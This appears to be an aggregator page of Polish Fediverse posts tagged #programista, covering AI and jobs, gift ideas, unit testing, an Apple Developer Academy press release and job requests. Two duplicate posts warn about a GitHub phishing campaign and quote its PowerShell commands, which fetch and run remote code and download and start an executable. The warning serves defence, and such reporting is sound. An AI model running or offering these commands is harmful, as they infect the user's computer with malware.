home.social

#programista — Public Fediverse posts

Live and recent posts from across the Fediverse tagged #programista, aggregated by home.social.

  1. AI zmienia role programistów – mniej kodowania, więcej kontroli. Według Światowego Forum Ekonomicznego do 2030 r. na świecie znikną 92 mln miejsc pracy, a równocześnie powstanie aż 170 mln nowych. Wśród zawodów o najszybszym tempie wzrostu znajdują się m.in. specjaliści od big data, sztucznej inteligencji, cyberbezpieczeństwa oraz twórcy aplikacji i oprogramowania. linuxiarze.pl/ai-zmienia-role- #sztucznainteligencja #cybersecurity #programista

  2. Uwaga programiści! Ktoś wysyła cwane komunikaty przez GitHuba

    Jak informują nas programiści posiadający konto na GitHubie, od wczoraj otrzymują powiadomienia o następującej treści:
    fot. przesłana prze z Jana
    Hey there!
    We have detected a security vulnerability in your repository. Please contact us at https://github-scanner[.]com to get more information on how to fix this issue.
    Best regards,
    Github Security Team
    Powiadomienia są triggerowane przez dodanie (a następnie usunięcie) tzw. “issue” do projektu. Gdzie prowadzi link? Ano do strony, która próbuje na programiście wykonać atak “na CAPTCHA” opisywany przez nas ponad 2 tygodnie temu w ramach CyberAlertu. Ofiara widzi to:

    Kliknięcie w przycisk na pierwszym ekranie kopiuje do schowka ofiary następującą komendę:
    powershell.exe -w hidden -Command "iex (iwr 'https://github-scanner[.]com/download.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: XXXXXX"
    A zastosowanie się do instrukcji widocznej na kolejnym ekranie uruchamia powyższą komendę, czyli w konsekwencji następujący kod infekujący komputer ofiary złośliwym oprogramowaniem:
    $webClient = New-Object System.Net.WebClient
    $url1 = "https://github-scanner[.]com/l6E.exe"
    $filePath1 = "$env:TEMP\SysSetup.exe"
    $webClient.DownloadFile($url1, $filePath1)
    Start-Process -FilePath $env:TEMP\SysSetup.exe
    Szczerze mówiąc, trochę nas dziwi dobór ofiar. Programiści akurat są świadomi, co robi skrót WIN+R. Z drugiej jednak strony, zainfekować programistę popularnego projektu na GitHubie to jak wygrać w totka…
    Na jakie jeszcze ataki powinni uważać programiści?
    Jeśli chcesz poznać wszystkie ataki, na które powinni być wyczuleni programiści aplikacji webowych, to wpadnij na nasze szkolenie z “Atakowanie i Ochrony Webaplikacji”. To dwa dni pełne praktyki [...]

    #Ataki #Captcha #GitHub #Malware #Phishing #Programista #Programowanie #Socjotechnika

    niebezpiecznik.pl/post/uwaga-p

  3. Uwaga programiści! Ktoś wysyła cwane komunikaty przez GitHuba

    Jak informują nas programiści posiadający konto na GitHubie, od wczoraj otrzymują powiadomienia o następującej treści:
    fot. przesłana prze z Jana
    Hey there!
    We have detected a security vulnerability in your repository. Please contact us at https://github-scanner[.]com to get more information on how to fix this issue.
    Best regards,
    Github Security Team
    Powiadomienia są triggerowane przez dodanie (a następnie usunięcie) tzw. “issue” do projektu. Gdzie prowadzi link? Ano do strony, która próbuje na programiście wykonać atak “na CAPTCHA” opisywany przez nas ponad 2 tygodnie temu w ramach CyberAlertu. Ofiara widzi to:

    Kliknięcie w przycisk na pierwszym ekranie kopiuje do schowka ofiary następującą komendę:
    powershell.exe -w hidden -Command "iex (iwr 'https://github-scanner[.]com/download.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: XXXXXX"
    A zastosowanie się do instrukcji widocznej na kolejnym ekranie uruchamia powyższą komendę, czyli w konsekwencji następujący kod infekujący komputer ofiary złośliwym oprogramowaniem:
    $webClient = New-Object System.Net.WebClient
    $url1 = "https://github-scanner[.]com/l6E.exe"
    $filePath1 = "$env:TEMP\SysSetup.exe"
    $webClient.DownloadFile($url1, $filePath1)
    Start-Process -FilePath $env:TEMP\SysSetup.exe
    Szczerze mówiąc, trochę nas dziwi dobór ofiar. Programiści akurat są świadomi, co robi skrót WIN+R. Z drugiej jednak strony, zainfekować programistę popularnego projektu na GitHubie to jak wygrać w totka…
    Na jakie jeszcze ataki powinni uważać programiści?
    Jeśli chcesz poznać wszystkie ataki, na które powinni być wyczuleni programiści aplikacji webowych, to wpadnij na nasze szkolenie z “Atakowanie i Ochrony Webaplikacji”. To dwa dni pełne praktyki [...]

    #Ataki #Captcha #GitHub #Malware #Phishing #Programista #Programowanie #Socjotechnika

    niebezpiecznik.pl/post/uwaga-p

  4. Nie da się ukryć, że praca przy biurku na dłuższą metę nie prowadzi do dobrego zdrowia. Warto od czasu do czasu robić sobie przerwy, a także ćwiczyć. Tylko jak ma to robić programista? Oto garść wskazówek.

    #programowanie #programista #fitness #ćwiczenia

    learnhub.top/10-essential-exer

  5. Nie mogłem odmówić sobie przekazania Wam informacji o ważnym, z punktu widzenia twórców aplikacji w mojej ukochanej Indonezji, wydarzeniu. Program Apple Developer Academy wkracza na Bali.

    Informacja prasowa

    Apple kontynuuje inwestycje w studentów i początkujących deweloperów, dlatego otwiera swoją czwartą w Indonezji akademię. Firma ogłosiła że otworzy na Bali swój kolejny ośrodek Apple Developer Academy. To dalszy etap inwestycji oferującej nowe możliwości deweloperom, studentom i przedsiębiorcom chcącym rozpocząć karierę na rynku aplikacji iOS, który prężnie rozwija się w tym regionie.

    Pierwszy indonezyjski ośrodek Apple Developer Academy uruchomiono w 2018 r. w Dżakarcie. Od tego czasu akademie Apple powstały też w miastach Surabaja i Batam, a program ukończyło ponad 2000 początkujących deweloperów. Skuteczność nauki w akademii potwierdza fakt, że 90 procent jej absolwentów znajduje satysfakcjonujące zatrudnienie w takich sektorach jak edukacja, handel elektroniczny, transport czy zrównoważony rozwój.

    Wielokrotnie przekonywaliśmy się, że linijka kodu może zmienić świat – a w Indonezji inwestujemy w kreatywność i kompetencje osób, którym zależy, by tego dowieść. Jesteśmy pod wrażeniem rosnącej społeczności deweloperów w Indonezji i nie możemy się doczekać, żeby dzięki naszej czwartej akademii w tym kraju pomóc w osiągnięciu sukcesu jeszcze liczniejszemu gronu programistów.

    – oświadczył Tim Cook, prezes Apple.

    Nauka w akademii trwa dziewięć miesięcy, podczas których uczestnicy poznają podstawy programowania, a oprócz tego uczą się projektowania, marketingu, i zarządzania projektami. W tym czasie studenci zdobywają pełen zestaw umiejętności potrzebnych, by zostać światowej klasy przedsiębiorcami i deweloperami. Kampus na Bali ma stanowić miejsce wymiany kulturowej, dlatego rekrutacja będzie na nim otwarta dla chętnych z całego świata, a nie tylko z Indonezji, niezależnie od wykształcenia i doświadczenia w programowaniu.

    W akademiach Apple w Indonezji spotykają się studenci o niezwykle zróżnicowanych doświadczeniach życiowych i zawodowych. Dotychczasowi uczestnicy pochodzili z 90 miast Indonezji i mieli od 18 do 50 lat. Każda z tych osób wnosi w proces projektowania aplikacji i planowania biznesu nowe pomysły i przeżycia, które były jej udziałem.

    Mary Santoso, twórczyni aplikacji WonderJack, dołączyła do Apple Developer Academy w Indonezji w 2022 r. Miała wtedy 38 lat.

    Mary Santoso, która dołączyła do programu w 2022 r., gdy miała 38 lat, stworzyła aplikację WonderJack. To gra na iPada, która uwzględnia neuroróżnorodność użytkowników i pomaga dzieciom ćwiczyć procesy myślowe, a także panowanie nad swoim zachowaniem. Mary ma w rodzinie osoby z dysleksją i aplikację stworzyła pod wpływem własnych doświadczeń. Gra działa na iPadzie, ma kojącą muzykę i pozwala dzieciom uczyć się bezstresowo i wieloma zmysłami za pomocą fizycznych kart i obiektów. Twórcy aplikacji badają i oceniają teraz jej skuteczność wspólnie z różnymi instytucjami edukacyjnymi, w tym ze szkołą integracyjną w Surabai.

    „Byłam mamą zajmującą się domem, a program Apple Developer Academy pomógł mi zmienić życie i skupić się na pomaganiu dzieciom, które tak jak moja córka mają trudności z nauką”, opowiada Santoso.

    WonderJack to gra na iPada, która uwzględnia neuroróżnorodność użytkowników i pozwala dzieciom ćwiczyć panowanie nad zachowaniem i procesy myślowe.

    W akademii uczyłam się z osobami, które pochodziły z różnych środowisk, ale tak jak ja przejmowały się edukacją i inkluzywnością. Wsparcie mentorów pomogło nam skuteczniej rozwiązywać problemy i dało nam narzędzia potrzebne do przygotowania aplikacji WonderJack, która ma sprawić, że każde dziecko będzie wykorzystywać swój pełny potencjał.

    Program nauczania w akademii odzwierciedla promowaną przez Apple strategię edukacji opartej na stawianiu zadań (ang. Challenge Based Learning) i motywuje uczestników do rozwiązywania indywidualnych, społecznych i globalnych problemów, a także do projektowania w inkluzywny sposób, żeby zmieniać świat na lepsze.

    Graciela Gabrielle, Jessi Febria i Yafonia Hutabarat to absolwentki akademii w Dżakarcie. Zgłosiły się do niej wspólnie, żeby opracować pierwszą indonezyjską aplikację nawigacyjną, która działa w przestrzeniach zamkniętych i pomaga osobom niewidomym i niedowidzącym w samodzielnych podróżach. Aplikacja PetaNetra wykorzystuje ścieżki utworzone w rzeczywistości rozszerzonej, żeby proponować najbezpieczniejsze i najszybsze trasy, a przy tym uwzględnia takie elementy jak ściany, struktury nawierzchni i inne obiekty. Zespół nawiązał współpracę z poważnymi instytucjami, w tym z Biblioteką Dżakarty, dzięki czemu stworzy mapy ich przestrzeni i poprawi funkcjonalność aplikacji.

    „Jestem naprawdę wdzięczna, że w akademii trafiłam do grupy wspierających i zaangażowanych osób”, wyjaśnia Gabrielle, współzałożycielka i prezeska PetaNetra, której rodzice są niedowidzący.

    Jako trzy założycielki naszej firmy chcemy, żeby nasza praca przynosiła społeczeństwu korzyści. To dlatego stworzyłyśmy aplikację PetaNetra – prezent dla moich rodziców i 4 milionów osób niewidomych i niedowidzących, które mieszkają w Indonezji.

    W Azji Południowo-Wschodniej są setki tysięcy deweloperów, którzy umieścili w App Store ponad 90 000 aplikacji. Absolwenci akademii nie tylko otwierają w Indonezji własne startupy. Wielu z nich zatrudnia się w znanych firmach z regionu, w których wykorzystują zdobyte umiejętności do tworzenia aplikacji i produktów cyfrowych.

    Absolwenci Denis Wibisono i Rais Mohamad Najib kierują teraz zespołem tworzącym aplikacje iOS w Banku Mandiri, największym indonezyjskim banku. W swojej pracy wdrażają innowacje, dzięki którym miliony Indonezyjczyków bez problemów mogą korzystać z pierwszorzędnej bankowości mobilnej. Prawie 40 procent osób, które bank zatrudnia w zespole odpowiedzialnym za platformę iOS, stanowią absolwenci akademii.

    „Uczestnictwo w akademii zdecydowanie rozwinęło moją pasję do tworzenia aplikacji iOS”, mówi Wibisono.

    Uważam, że dzięki temu doświadczeniu zdobyłem zaawansowane kompetencje programistyczne, a do tego rozwinąłem umiejętność krytycznego myślenia. Obie te cechy są kluczowe w zawodzie inżyniera.

    Absolwenci programu mogą też korzystać z innych inicjatyw i zasobów edukacyjnych Apple, takich jak Apple Developer Center w Singapurze czy Apple Entrepreneur Camp, które zapewniają dalszy mentoring oraz pozwalają czerpać inspirację i wiedzę od ekspertów i inżynierów Apple.

    Pierwszy ośrodek Apple Developer Academy otworzono w Brazylii. Dziś program działa też w innych miejscach na świecie, w tym między innymi w Korei, Indonezji, Arabii Saudyjskiej, Włoszech i Stanach Zjednoczonych.

    https://imagazine.pl/2024/04/17/program-apple-developer-academy-wkracza-na-bali/

    #AppleDeveloperAcademy #Bali #deweloper #edukacja #iOS #programista #Swift

  6. Co prawda, święta już za nami, natomiast przecież codziennie są urodziny lub imieniny jakiegoś programisty. Jeśli nie wiemy, co byłoby mu przydatne lub potrzebne, zawsze można zainspirować się takim poradnikiem.

    #prezent #programista #poradnik

    wildasoftware.pl/post/pomysly-

  7. Macie problemy z kupowaniem prezentów? Przyznaję, że ja mam spory. Jeśli macie tak, jak ja, a w dodatku musicie kupić coś osobie parającej się programowaniem, to mam dla Was parę pomysłów.

    #prezent #programista #święta #BożeNarodzenie #zakupy #christmas

    wildasoftware.pl/post/pomysly-

  8. Przychodzi taki czas w roku, w którym trzeba zacząć rozglądać się za prezentem dla najbliższych i nie tylko. Czasem jest to łatwe, a czasem - dość trudne, jeśli rzeczywiście chcemy sprawić komuś radość. Nie rozwiążemy za Was tego problemu, ale mamy parę pomysłów na wypadek, gdyby obdarowywana przez Was osoba jest programistą lub programistką. Zapraszamy.

    #prezent #programista #święta #BożeNarodzenie #zakupy

    wildasoftware.pl/post/pomysly-

  9. Czy prasa papierowa umiera? Oby nie! 🤞

    Coraz trudniej jest mi znaleźć ciekawy, rzetelny i przede wszystkim solidny content online

    Mam wrażenie, że teraz wszyscy piszą pod SEO (zamiast pod czytelnika), dodatkowo okraszając wszystko tabloidowymi nagłówkami i "krzyczącymi" miniaturkami z domieszką sponsorowanych treści 💰

    2 lata temu porzuciłem nadzieje, że Internet może mi zaoferować solidną publicystykę na temat gier, więc przerzuciłem się na papierową wersję magazynu EDGE. To był strzał w dziesiątke, chociaż tanio nie jest 😔

    Kilka miesięcy temu doszedłem do tego samego wniosku jeżeli chodzi o moje hobby, czyli modelarstwo, i tak oto zacząłem kupować magazyn "Super Model" ✈️

    A w tym tygodniu postanowiłem nawet spróbować magazynu Programista, ale tutaj jeszcze nie jestem przekonany czy to na pewno to, czego szukam 🤔

    A jak to wygląda u was? Czy czytacie jakąś prasę?

    #giereczkowo #modelarstwo #edge #supermodel #programista #ksiazki

  10. Artykuł bardzo długi, techniczny i sięgający do psychologii, ale może dla niektórych być ważny lub przynajmniej zainteresują się nim. Jest to bowiem swoisty opis działania mózgu programisty i sztuczek, które można wykorzystać przy czytaniu kodu, pisaniu go i współpracy. Ciekawa sprawa.

    #programowanie #Programista #psychologia #memory

    yoan-thirion.gitbook.io/knowle

  11. Boom na IT, mimo że pewnie słabszy niż kilka lat temu, nadal jest i wiele osób chce się nauczyć programować. Niekoniecznie dla zarobku, ale dla samego siebie. I oczywiście, zachęcamy do tego - ale czy TRZEBA się uczyć?

    #programowanie #programista #początkujący

    wildasoftware.pl/post/czy-kazd

  12. Dzisiaj dużo wcześniej, ale taką mam, niestety, konieczność.

    Dużo osób chce się uczyć programować, bo... po prostu chce. I super, kibicuję takiej postawie. Ale czy powinniśmy kibicować ekspertom mówiącym "MUSISZ"? No cóż, moim zdaniem nie i o tym dzisiaj piszę. Zapraszam.

    #programowanie #programista #początkujący

    wildasoftware.pl/post/czy-kazd

  13. Coraz rzadziej, ale jednak nietechnicznym osobom nadal zdarza się mylić kompetencje programistów i administratorów. W związku z tym, przypominamy artykuł, w którym staraliśmy się raz na zawsze wyjaśnić tę kwestię i dodatkowo pokazać, gdzie w tym wszystkim umiejscowiony jest DevOps.

    #administrator #programowanie #programista #devops

    wildasoftware.pl/post/programi

  14. Artykuły w stylu "co będzie modne w roku X" czasami okazują się typowymi clickbaitami, ale trzeba przyznać, że dobrze podsumowują pewne sprawy. A ten w dodatku jest naprawdę ciekawy, choć w paru momentach dość oczywisty. Warto wiedzieć, co w świecie programistów piszczy jeśli chodzi o podejście.

    #programowanie #programista

    thetechenabler.substack.com/p/

  15. No dobra, programiści i admini, przyznajcie się - jak często mylone były Wasze role? Czy nie macie poczucia, że oczekuje się od Was wszystkiego? Porozmawiamy o tym dzisiaj. Nowy tekst już na blogu.

    wildasoftware.pl/post/programi

    #programista #administratorIT #admin #DevOps #software

  16. Szachy są fajne. Nawet, jeśli nie jesteśmy w nie dobrzy, to można przy nich miło spędzić czas. Ale mają też wiele atutów z perspektywy rozwoju człowieka, zwłaszcza młodego. Czy programista może w jakikolwiek sposób skorzystać na grze w szachy? Polecamy nasz artykuł.

    #szachy #chess #programista

    wildasoftware.pl/post/czy-prog

  17. Pytanie od koleżanki, która od pewnego czasu jest w trakcie przebranżawiania się na programistkę - czy znacie kogoś, kto w okolicach #Poznań szuka Junior Java Developera albo chociaż kogoś na staż na tym stanowisku lub podobnym? Mówimy o "świeżaku".

    (i tak, szukała na różnych portalach z pracą IT, ta ścieżka nie wypaliła)

    #programista #praca #programowanie #java

  18. Mam ochotę rozpocząć programistyczne treści tutaj od czegoś prostego, ale żeby jednocześnie nie było to trywialne.

    Opowiem wam dziś o testach jednostkowych.

    Czym jest test jednostkowy?

    Jak programujesz, możesz w sumie ominąć ten akapit, z definicją unitów spotykasz się nie raz.

    Testy jednostkowe (eng. unit tests, pot. unit testy, unity), cyt.
    "metoda testowania tworzonego oprogramowania poprzez wykonywanie testów weryfikujących poprawność działania pojedynczych elementów (jednostek) programu" (za Wikipedią).
    Jednostką jest funkcja, klasa lub komponent, ogólnie najmniejsza abstrakcja, w której zachodzi jakaś czynność, którą możemy przetestować. Takie testy, aby były dobrze skonstruowane i działały na jednostkach właśnie, muszą działać według konkretnych zasad, ale o tym za chwilkę.

    Dlaczego akurat zaczynam od testów?

    Uwielbiam pisać unit testy, uwielbiam widzieć w projekcie dobrze napisane unit testy. Wprowadzam unity do każdego projektu w którym się znajdę, a jednocześnie bardzo nie lubię narzędzi do automatycznego mockowania - ot taka ze mnie konserwa.
    I chciałabym wam opowiedzieć troszeczkę o tym, jak dobrze unity pisać.

    Chciałabym przygotować serię postów dotyczących unit testów, zgodnie z poniższym planem:

    0. Wprowadzenie (właśnie je czytacie).
    1. Trochę słownictwa i definicji, abyśmy swobodnie mogli rozmawiać o...
    2 - 6. Akronim FIRST - czyli jakich zasad powinniśmy się trzymać aby pisać dobre jakościowo (czyli użyteczne i efektywne) unit testy. Na praktycznych przykładach z użyciem frameworka jest.
    7. Trochę o udawaniu czyli "mokach", "stabach" i "spajach".
    8 i dalej - zobaczymy :)

    Zależnie od tego, co was będzie interesować, czy wolicie backend czy frontend, możemy przejść w testy ui - snapshoty i storybook, w inne rodzaje testów...

    Dajcie znać, czy pomysł na serię wam się podoba i czy w proponowanych tematach czegoś wam brakuje!

    Pozdrawiam,
    Wasza Kapitanka

    #programowanie #programista #programming #coding #unittesting #jest #unitseries

  19. Witajcie użytkownicy Mastodona. Chciałbym wam zaprezentować prawdopodobnie pierwszego polskiego bota na Mastodonie, @Polskieslowa ! Będzie on wysyłać jakieś polskie słowo co 30 minut (oczywiście w kolejności alfabetycznej). O i, jeżeli będziecie chcieli, to będę mógł zmniejszyć czas :) #programming #python #word #programista #bot

  20. Dzisiaj dużo wcześniej, ale taką mam, niestety, konieczność.

    Dużo osób chce się uczyć programować, bo... po prostu chce. I super, kibicuję takiej postawie. Ale czy powinniśmy kibicować ekspertom mówiącym "MUSISZ"? No cóż, moim zdaniem nie i o tym dzisiaj piszę. Zapraszam.

    #programowanie #programista #początkujący

    wildasoftware.pl/post/czy-kazd

  21. Dzisiaj dużo wcześniej, ale taką mam, niestety, konieczność.

    Dużo osób chce się uczyć programować, bo... po prostu chce. I super, kibicuję takiej postawie. Ale czy powinniśmy kibicować ekspertom mówiącym "MUSISZ"? No cóż, moim zdaniem nie i o tym dzisiaj piszę. Zapraszam.

    #programowanie #programista #początkujący

    wildasoftware.pl/post/czy-kazd

  22. Dzisiaj dużo wcześniej, ale taką mam, niestety, konieczność.

    Dużo osób chce się uczyć programować, bo... po prostu chce. I super, kibicuję takiej postawie. Ale czy powinniśmy kibicować ekspertom mówiącym "MUSISZ"? No cóż, moim zdaniem nie i o tym dzisiaj piszę. Zapraszam.

    #programowanie #programista #początkujący

    wildasoftware.pl/post/czy-kazd

  23. Dzisiaj dużo wcześniej, ale taką mam, niestety, konieczność.

    Dużo osób chce się uczyć programować, bo... po prostu chce. I super, kibicuję takiej postawie. Ale czy powinniśmy kibicować ekspertom mówiącym "MUSISZ"? No cóż, moim zdaniem nie i o tym dzisiaj piszę. Zapraszam.

    #programowanie #programista #początkujący

    wildasoftware.pl/post/czy-kazd

  24. No dobra, programiści i admini, przyznajcie się - jak często mylone były Wasze role? Czy nie macie poczucia, że oczekuje się od Was wszystkiego? Porozmawiamy o tym dzisiaj. Nowy tekst już na blogu.

    wildasoftware.pl/post/programi

    #programista #administratorIT #admin #DevOps #software

  25. No dobra, programiści i admini, przyznajcie się - jak często mylone były Wasze role? Czy nie macie poczucia, że oczekuje się od Was wszystkiego? Porozmawiamy o tym dzisiaj. Nowy tekst już na blogu.

    wildasoftware.pl/post/programi

    #programista #administratorIT #admin #DevOps #software

  26. No dobra, programiści i admini, przyznajcie się - jak często mylone były Wasze role? Czy nie macie poczucia, że oczekuje się od Was wszystkiego? Porozmawiamy o tym dzisiaj. Nowy tekst już na blogu.

    wildasoftware.pl/post/programi

    #programista #administratorIT #admin #DevOps #software

  27. No dobra, programiści i admini, przyznajcie się - jak często mylone były Wasze role? Czy nie macie poczucia, że oczekuje się od Was wszystkiego? Porozmawiamy o tym dzisiaj. Nowy tekst już na blogu.

    wildasoftware.pl/post/programi

    #programista #administratorIT #admin #DevOps #software